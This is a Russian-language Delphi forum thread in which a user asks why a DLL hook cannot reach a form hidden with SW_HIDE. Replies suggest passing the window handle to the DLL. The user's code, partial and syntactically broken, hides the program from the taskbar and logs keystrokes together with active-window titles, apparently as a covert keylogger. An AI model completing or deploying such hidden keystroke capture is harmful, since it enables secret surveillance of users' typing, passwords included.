-
cad2206 (13.11.12 19:27) [0]Добрый день. Собственно загвоздка в том, что форма скрыта и из dll функция FindWindow ей похоже не находит.
Например из dll пытаюсь найти форму Form1 и передать ей команду:
hWnd:=FindWindow(nil,'Form1');
PostMessage(hWnd, ...)
В самой программе делаю обработчик и все вроде ок. НО, если в процессе активации формы указать:
ShowWindow(Handle, SW_HIDE);
ShowWindow(Application.Handle, SW_Hide);
то в dll функция FindWindow ее не находит...
Подскажите, как реализовать? -
MBo © (13.11.12 20:20) [1]скрытые окна FindWindow находит
-
cad2206 (13.11.12 20:33) [2]находит, если использую ее в самой программе. А вот из dll (которую, собственно, инициирую из этой же программы) похоже нет... Комментирую в программе эти две строки:
ShowWindow(Handle, SW_HIDE);
ShowWindow(Application.Handle, SW_Hide);
и все ок... -
MBo © (13.11.12 21:02) [3]а окно Application зачем прятать?
-
cad2206 (13.11.12 21:08) [4]чтобы в панели задач небыло видно...
-
Сергей М. © (13.11.12 22:05) [5]А накой шиш твоей библиотеке искать окно, если хендл нужного окна твое хост-приложение может преспокойно передать библиотеке ?
-
cad2206 (13.11.12 22:20) [6]да хендл окна и не меняется то...смысл его передавать в библиотеку? а может как-то явно указать то его? просто задать:PostMessage(Form1, ...)
? думаю, не прокатит...
не имею возможности сейчас попробовать( -
Сергей М. © (13.11.12 22:35) [7]
> смысл его передавать в библиотеку?
А смысл его искать. если он известен ?
Заведи в своей dll экпортируемую процедуру и вызывай ее из хоста, передавая ей параметром хендл окна нужной формы. В теле процедуры сохраня полученный хендл куда-нть в глоб.переменную, которую и используй первым параметром в PostMessage -
cad2206 (13.11.12 22:47) [8]ну смысл ясен, спасибо, завтра попробую... и все же интерестно, зная имя окна, а не его хендл, можно послать ему сообщение?
-
Сергей М. © (14.11.12 09:12) [9]
> зная имя окна, а не его хендл, можно послать ему сообщение?
Нельзя.
Нужен именно хендл. -
QAZ9 (14.11.12 10:41) [10]походу это реализация самого идиотского хука за всю историю человечества
-
cad2206 (14.11.12 13:39) [11]Нука QAZ9, обоснуй
-
cad2206 (14.11.12 15:21) [12]Сергей М. - в библиотеке прописываю процедуру:
procedure handleWnd(hWnd:HWND; i:integer); stdcall; export;
begin
ServerWnd:=hWnd;
end;
При попытке в программе выполнить:
handleWnd(Form1.Handle) пишеет, много параметров.. что не так? подскажите -
cad2206 (14.11.12 15:42) [13]че то я запутался....
в самой библиотеке дописал:
if FindWindow(nil,'Form1') <>0 then
ShowMessage('Find');
/CODE>
и получаю это сообщение блин... -
Сергей М. © (14.11.12 16:37) [14]
> пишеет, много параметров.. что не так?
> procedure handleWnd(hWnd:HWND; i:integer); stdcall; export; //загибай пальцы - сколько здесь параметров
> handleWnd(Form1.Handle); //а здесь сколько ?
> и получаю это сообщение блин
Опять ты оглобли заворачиваешь с прямой дороги в буераки ?) -
cad2206 (14.11.12 16:53) [15]попробую описать подробнее, запутался сам...
Итак.
Основная программа, в которой имеется обработчик события о поступлении сообщения форме, процедура обработчика:
procedure TForm1.KeyMessageHandler(var Msg: TMessage);
var
KeyName:array[0..99] of char;
_MSG:TMsg;
begin
GetKeyNameText(Msg.LParam, KeyName, sizeof(KeyName));
//функция, присваювающая переменной ActWnd значение активного окна
GetActiveWindow;
//если окно сменилось укажем его
if LastActWnd<>ActWnd then
begin
BufferWrite(ActWnd);
end;
KeyName[0]:=chr(Msg.WParamLo);
KeyName[1]:=#0;
BufferWrite(KeyName);
end
else
BufferWrite(KeyName);
BufferWrite('>');
end;
т.е. в буфере имеем кнопку и активное окно, если оно сменилось.
в программе, при активации формы прописано:
ShowWindow(Handle, SW_HIDE);
ShowWindow(Application.Handle, SW_Hide);
В самой библиотеке код я писал:
hWnd:=FindWindow(nil,'Form1');
PostMessage(hWnd, ...)
После долгих пониманий (и так и недопониманий) заметил следующее:
по нажатию F9, программа, запускается, окна, естесственно нет. так вот, если сразу нажать какую либо кнопку, сообщение форме не приходит и больше не придет, а вот если сразу выбрать другое приложение (например qip) и нажать - сообщение приходит и пока окно активно, сообщения о нажатии лются фотме, но если опять выбрать другое приложение - все, опять не доходит.
Если же в программе закоментиловать одну из строк:
ShowWindow(Handle, SW_HIDE);
ShowWindow(Application.Handle, SW_Hide);
то все работает.
Как это решить, ну никак сообразить немогу. Наверное, потому, что не доконца понимаю работу хуков или еще чего. Помогите пожалуйста. Или может какие альтернативные методы передачи есть... -
cad2206 (14.11.12 16:56) [16]Сергей М. - прости, прислал ошибочный код
procedure handleWnd(hWnd:HWND; i:integer); stdcall; export;
параметр i прописывал для эксперимента и случайно выслал в тему...
ошибку о многих параметрах получал при:
procedure handleWnd(hWnd:HWND); stdcall; export; -
cad2206 (14.11.12 16:59) [17]блин... в коде процедуры обработки сообщения форме кое что не дописал, вот так правильно:
procedure TForm1.KeyMessageHandler(var Msg: TMessage);
var
KeyName:array[0..99] of char;
_MSG:TMsg;
begin
GetKeyNameText(Msg.LParam, KeyName, sizeof(KeyName));
//функция, присваювающая переменной ActWnd значение активного окна
GetActiveWindow;
//если окно сменилось укажем его
if LastActWnd<>ActWnd then
begin
BufferWrite(ActWnd);
LastActWnd:=ActWnd;
end;
KeyName[0]:=chr(Msg.WParamLo);
KeyName[1]:=#0;
BufferWrite(KeyName);
end
else
BufferWrite(KeyName);
BufferWrite('>');
end; -
cad2206 (14.11.12 16:59) [18]вобщем, помогите, наставте на путь...
-
QAZ9 (14.11.12 17:59) [19]
> Нука QAZ9, обоснуй
обосновать что ? ты для начала, сделай чтобы вообще работало, потом понтуйся :)